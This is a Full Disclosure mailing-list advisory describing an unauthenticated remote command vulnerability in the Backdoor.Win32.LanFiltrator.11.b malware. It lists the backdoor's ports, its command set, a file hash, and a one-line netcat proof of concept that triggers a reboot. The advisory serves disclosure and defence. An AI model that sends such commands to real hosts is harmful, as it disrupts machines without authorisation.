full-disclosure - [FD] Backdoor.Win32.LanFiltrator.11.b / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WSj0X1t=jT4yHT+hMjbAXMNt0CkPJyDGXFhGwyh3Eqf_g@mail.gmail.com>
Date: Fri, 15 Oct 2021 13:42:43 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.LanFiltrator.11.b / Unauthenticated Remote
	Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9f87546e667e5af59a8580ddf7fd43c7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.LanFiltrator.11.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 999, 888. Third-party
attackers who can reach the system can execute commands made available by
the malware.

[Commands]

CHATING
ST_P
LOG_OFF
RE_BOOT
SHUT_DOWN
POWER_OFF
FORCE
FORCE_IF
MON_OFF
MON_ON
CAPS_ON
CAPS_OFF
NUM_ON
MUN_OFF
SCROLL_ON
SCROLL_OFF

Type: PE32
MD5: 9f87546e667e5af59a8580ddf7fd43c7
Vuln ID: MVID-2021-0368
Dropped files: Csrss.exe
Disclosure: 10/15/2021

Exploit/PoC:
nc64.exe x.x.x.x 999
┤»)«LANfiltrator«(»`RE_BOOT

RE_BOOT

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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